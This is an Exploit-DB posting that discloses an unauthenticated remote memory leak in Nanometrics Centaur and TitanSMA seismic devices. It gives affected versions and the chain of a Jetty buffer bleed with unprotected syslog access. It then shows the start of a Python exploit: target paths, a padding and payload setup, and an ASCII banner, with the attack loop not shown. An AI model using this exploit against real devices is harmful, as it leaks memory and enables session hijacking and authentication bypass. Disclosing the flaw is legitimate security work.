Exploit-DB #48098
Description: Nanometrics Centaur 4.3.23 - Unauthenticated Remote Memory Leak
Type: webapps
Platform: hardware
Date: 2020-02-19
Author: byteGoblin

Exploit:
# Exploit Title: Nanometrics Centaur 4.3.23 - Unauthenticated Remote Memory Leak
# Date: 2020-02-15
# Author: byteGoblin
# Vendor: https://www.nanometrics.ca
# Product: https://www.nanometrics.ca/products/accelerometers/titan-sma
# Product: https://www.nanometrics.ca/products/digitizers/centaur-digital-recorder
# CVE: N/A
#
# Nanometrics Centaur / TitanSMA Unauthenticated Remote Memory Leak Exploit
#
#
# Vendor: Nanometrics Inc.
# Product page: https://www.nanometrics.ca/products/accelerometers/titan-sma
# Product page: https://www.nanometrics.ca/products/digitizers/centaur-digital-recorder
#
# Affected versions:
#   Centaur  <= 4.3.23
#   TitanSMA <= 4.2.20
#
# Summary:
#   The Centaur Digital Recorder is a portable geophysical sensing acquisition system that consists
#   of a high-resolution 24-bit ADC, a precision GNSS-based clock, and removable storage capabilities.
#   Its ease of use simplifies high performance geophysical sensing deplayments in both remote and
#   networked environments. Optimized for seismicity monitoring, the Centaur is also well-suited for
#   infrasound and similar geophysical sensor recording applications requiring sample rates up to
#   5000 sps.
#
# Summary:
#   The TitanSMA is a strong motion accelerograph designed for high precision observational and
#   structural engineering applications, where scientists and engineers require exceptional dynamic
#   range over a wide frequency band.
#
# Description:
#   An information disclosure vulnerability exists when Centaur and TitanSMA fail to properly protect
#   critical system logs such as 'syslog'. Additionally, the implemented Jetty version (9.4.z-SNAPSHOT)
#   suffers from a memory leak of shared buffers that was (supposedly) patched in Jetty version 9.2.9.v20150224.
#   As seen in the aforementioned products, the 'patched' version is still vulnerable to the buffer leakage.
#   Chaining these vulnerabilities allows an unauthenticated adversary to remotely send malicious HTTP
#   packets, and cause the shared buffer to 'bleed' contents of shared memory and store these in system
#   logs. Accessing these unprotected logfiles reveal parts of the leaked buffer (up to 17 bytes per sent
#   packet) which can be combined to leak sensitive data which can be used to perform session hijacking
#   and authentication bypass scenarios.
#
# Tested on:
#   Jetty 9.4.z-SNAPSHOT
#
# Vulnerability discovered by:
#   byteGoblin @ zeroscience.mk
#
#
# Advisory ID: ZSL-2020-5562
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5562.php
#
# Related CVE: CVE-2015-2080
# Related CWE: CWE-532, CWE-538
#
# 10.02.2020
#

#!/usr/bin/env python3

import requests
import re
import sys

class Goblin:
    def __init__(self):
        self.host = None
        self.page = "/zsl"
        self.syslog = "/logs/syslog"
        self.buffer_pad = "A" * 70
        self.buffer = None
        self.payload = "\xFF"
        self.payloads_to_send = 70 # 70 seems to be a good number before we get weird results
        self.body = {}
        self.headers = None
        self.syslog_data = {}
        self.last_line = None
        self.before_last_line = True

    def banner(self):
        goblin = """
                        NN                          
                      NkllON                        
                      0;;::k000XN       KxllokN     
                      0;,:,;;;;:ldK   Kdccc::oK     
                     Nx,';codddl:::dkdc:c:;lON      
                   klc:clloooooooc,.':lc;'lX        
                   x;:ooololccllc:,:ll:,:xX         
                    Kd:cllc'..';:ccclc,.x            _               .             ___          _       .           
                  NOoc::c:,'';:ccllc::''k            \ ___  ,    .  _/_     ___  .'   \    __.  \ ___   |   ` , __  
                Nklc:clccc;.;odoollc:',xN            |/   \ |    `   |    .'   ` |       .'   \ |/   \  |   | |'  `.
               0l:lollc:;:,.,ccllcc:;..cOKKX         |    ` |    |   |    |----' |    _  |    | |    `  |   | |    |
              0c;lolc;'...',;;:::::;..:cc:,cK        `___,'  `---|.  \__/ `.___,  `.___|  `._.' `___,' /\__ / /    |
             Nc'clc;..,,,:::c:;;;,'..:oddoc;c0               \___/                                                  
             Nl';;,:,.;:,;:;;;,'.....cccc:;..x              InTrOdUcEs: //Nano-Bleed//
              XxclkXk;'::,,,''';:::;'''...'',:o0    
                     Kl,''',:cccccc:;..';;;:cc;;dX          Discovered / Created by:    byteGoblin
                     O,.,;;,;:::::;;,,;::,.';:c';K          contact:                    bytegoblin <at> zeroscience.mk
             Kdcccccdl'';;..'::;;,,,;:::;,'..;:.;K              
            d;,;;'...',,,:,..,;,',,;;,,,'.cd,':.;K          Vendor:                     Nanometrics Inc. - nanometrics.ca
            Oddl',,'',:cxX0:....'',,''..;dKKl,;,,xN         Product:                    Centaur, TitanSMA
               d...'ckN Xkl:,',:clll:,..,cxd;,::,,xN        Affected versions:          <= 4.3.23, <= 4.3.20
              0:',';k Xx:,''..,cccc::c:'.';:;..,;,lK
             0:'clc':o;',;,,.';loddolc;'.,cc'.;olkN         CVE:                        N/A
            0:'cdxdc,..';..,lOo,:clc:'.,:ccc;.oN            Advisory:                   ZSL-2020-5562 / zeroscience.mk/en/vulnerabilities/ZSL-2020-5562.php
            :,;okxdc,..,,..lK Xkol;:x0kl;;::;':0    
            x:,:odo:,'.',,.'xN   0lk   Nk;';:;.cN           Description:                Unauthenticated Remote Memory Leak in Nanometrics Centaur product
             Xx:,'':xk:..,''lK    Y      k;';;';xX          
               XOkkko'.....'O             d.';;,,:xN
                   0dooooooxX             x'.'''',oK                _.o-'( Shout-out to the bois: LiquidWorm, 0nyxd, MemeQueen, Vaakos, Haunt3r )'-o._
                                          XOkkkkkON 
        """